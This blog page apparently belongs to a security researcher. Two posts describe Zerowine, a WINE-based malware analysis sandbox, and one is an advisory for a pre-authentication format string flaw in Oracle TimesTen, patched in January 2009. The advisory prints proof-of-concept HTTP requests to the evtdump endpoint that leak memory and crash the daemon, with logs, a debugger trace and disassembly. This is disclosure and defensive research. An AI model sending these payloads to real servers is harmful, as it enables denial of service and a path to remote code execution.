Category → Research
Zerowine: Malware dumping and detection tricks [Updated]
Update: I released the new version now! Download the prebuilt QEmu virtual machine (or the source code) from here. Remember that the root’s password is ‘zerowine’. There is also another user account: ‘malware’ with password ‘malware’.
I recently added 3 new interesting features to Zerowine. The very first one is the ability to dump the malware from memory while running and analyze the memory. This way, strings and code hidden in a packed malware can be analyzed because it is completely unpacked, as in the following example showing the strings from a variant of the MyTob malware packed with MEW.
Zerowine: String analysis of the MyTob malware after dumping it from memory
The memory dumps can also be downloaded for later analysis with IDA Pro. The dumping process is done from outside WINE with a Python script (/home/malware/bin/dump_process.py) that uses python-ptrace to attach to the running malware and dump the memory.
I added also signatures using this new feature to detect the most typical Virtual Machine detection tricks (such as the redpill trick or the VMWare’s backdoor).
In this screenshot you can see also the “Debugger detection tricks” section. The detection is done by analyzing the behavior of the malware. The following is an analysis of some Chinesse malware packed with Themida:
And, well, that’s all at the moment. The new version will be released (or at least I hope to do so) in a week.
Cheers!
Oracle TimesTen Remote Format String
Product Description
Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.
Summary
The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.
Affected versions
Oracle TimesTen prior to version 7.0.5.1.0.
Vulnerability
Oracle TimesTen’s timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.
The command “evtdump” dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter “msg” is a text that will be printed to the log file before dumping the internal structure.
This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.
The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):
FROM CLIENT:
GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n
AT SERVER:
(…)
# cat /var/TimesTen/log/ttmesg.log
(…)
19:05:07.01 Info: : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info: : 18225: AAAA80a8a0c(null)
19:05:19.07 Info: : 18225: mode : TTDL_NORMAL
19:05:19.07 Info: : 18225: ctlfilename : ”
19:05:19.07 Info: : 18225: lineno : 0
19:05:19.07 Info: : 18225: nitems : 7
19:05:19.07 Info: : 18225: maxitems : 32
19:05:19.07 Info: : 18225: cur_path : (null)
19:05:19.07 Info: : 18225: lineno : 0
19:05:19.07 Info: : 18225: items :
19:05:19.07 Info: : 18225: item # 0 :
19:05:19.07 Info: : 18225: comp : ALL
19:05:19.07 Info: : 18225: level : 3
19:05:19.07 Info: : 18225: dsname : (null)
(…)
FROM CLIENT:
GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0
AT SERVER:
(…)
# cat /var/TimesTen/log/ttmesg.log
19:05:19.08 Info: : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info: : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info: : 18225: mode : TTDL_NORMAL
19:06:18.49 Info: : 18225: ctlfilename : ”
19:06:18.49 Info: : 18225: lineno : 0
19:06:18.49 Info: : 18225: nitems : 7
19:06:18.49 Info: : 18225: maxitems : 32
19:06:18.49 Info: : 18225: cur_path : (null)
19:06:18.49 Info: : 18225: lineno : 0
19:06:18.49 Info: : 18225: items :
19:06:18.49 Info: : 18225: item # 0 :
19:06:18.49 Info: : 18225: comp : ALL
19:06:18.49 Info: : 18225: level : 3
19:06:18.49 Info: : 18225: dsname : (null)
(…)
FROM CLIENT:
GET evtdump?msg=AAAA%25n HTTP/1.0
AT SERVER:
(…)
# cat /var/TimesTen/log/ttmesg.log
19:07:38.87 Err : : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err : : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err : : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err : : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting…
19:07:39.54 Info: : 18785: Listener terminating
19:07:39.54 Info: : 18785: Listener exited, termination finishing
19:07:39.54 Info: : 18785: Process termination complete
19:07:39.59 Info: : 18791: Listener terminating
19:07:39.59 Info: : 18782: Listener terminating
19:07:39.59 Info: : 18788: Listener terminating
19:07:39.59 Info: : 18791: Listener exited, termination finishing
19:07:39.59 Info: : 18791: Process termination complete
19:07:39.59 Info: : 18782: Listener exited, termination finishing
19:07:39.59 Info: : 18782: Process termination complete
19:07:39.59 Info: : 18788: Listener exited, termination finishing
19:07:39.59 Info: : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(…)
The last msg parameter’s value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:
$ sudo /etc/init.d/tt_70 start &
(…)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(…)
(gdb) c
(…)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0 0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1 0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2 0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3 0x0807689f in ttdLogDump ()
#4 0x0805b138 in daHandler ()
#5 0×08073789 in handlerThread ()
#6 0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7 0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax 0×0 0
ecx 0×4 4
edx 0×0 0
ebx 0xb77bbadc -1216628004
esp 0xb71480c0 0xb71480c0
ebp 0xb71486e0 0xb71486e0
esi 0×0 0
edi 0xb714895c -1223390884
eip 0xb76cf5c6 0xb76cf5c6 <vfprintf+14038>
(…)
The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend’s web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):
.text:0807686D ttdLogDump proc near ; CODE XREF: daHandler+5F3p
(...)
.text:08076879 lea eax, [ebp+argRet]
.text:0807687C push eax
.text:0807687D push [ebp+argMsg] ; User controlled string buffer
.text:08076880 push 0
.text:08076882 push 100h
.text:08076887 lea esi, [ebp+buf]
.text:0807688D call $+5
.text:08076892 pop ebx
.text:08076893 add ebx, 3217Ah
.text:08076899 push esi
.text:0807689A call _ttc_vsnprintf
The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the “msg” argument:
.text:0001ADAA ttc_vsnprintf proc near ; CODE XREF: msgbuf_error+73p
.text:0001ADAA ; opt_error+83p ...
.text:0001ADAA
(...)
.text:0001ADCE push [ebp+arg] ; arg
.text:0001ADD1 push [ebp+argFormat] ; format
.text:0001ADD4 push edi ; maxlen
.text:0001ADD5 push eax ; s
.text:0001ADD6 call _vsnprintf
Workaround
None.
Patch information
Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.
Contact Information
The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com
References
Oracle TimesTen evtDump Remote Format String
Oracle Critical Patch Update January 2009
Disclaimer
The information in this advisory and any of its demonstrations is provided “as is” without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.
Malware Behavior Analysis: Zero Wine
As a research project, I decided to create a “sandbox” to analyze malware and generate reports automatically based in the behavior. The sandbox is a Debian based distribution with WINE and various python libraries and tools.
Generally, it works quite well to analyze malware even when it’s packed (as is pretty common in today’s malware). However, WINE fails with some packers as, in example, with Armadillo when the “Compatibility Mode” is disabled. Anyway, almost all the packers I tried are working (themida, aspack, upx, etc…).
Zero Wine is distributed in source code form or as a prebuilt QEmu virtual machine: Download, unpack and run the virtual machine. Using the scripts supplied in the tar.gz file the vm’s port 8000 will be redirected to your computer’s 8000 port and the following very simple web page will be presented:
Quite simple: Just select the malware to upload, specify a timeout and click the submit button. After a while a report’s summary with 4 options will be presented:
The options available are the following:
- Report: The complete raw report of all the APIs called by the malware. Hard to follow and hard to understand (a 10mb report is not uncommon).
- Strings: Just the output of the typical unix command “strings”.
- File headers: All the information gathered from the PE using the library PEFile.
- Signature: The signature report is an extract of the full raw report with the most interesting calls.
When the malware was correctly analyzed the “Signature” report is all what you want. A sample malware’s report would be like the following:
In this very first release, the reports aren’t saved in the virtual machines and you can analyze just one malware at a time (as the malware runs in a fixed WINEPREFIX) however, in future releases all the malware’s reports will be added to an SQLite format database and a new WINEPREFIX specific for every malware will be created.
The project is hosted in Sourceforge and, well, that’s all at the moment. Bye!
Joxean Koret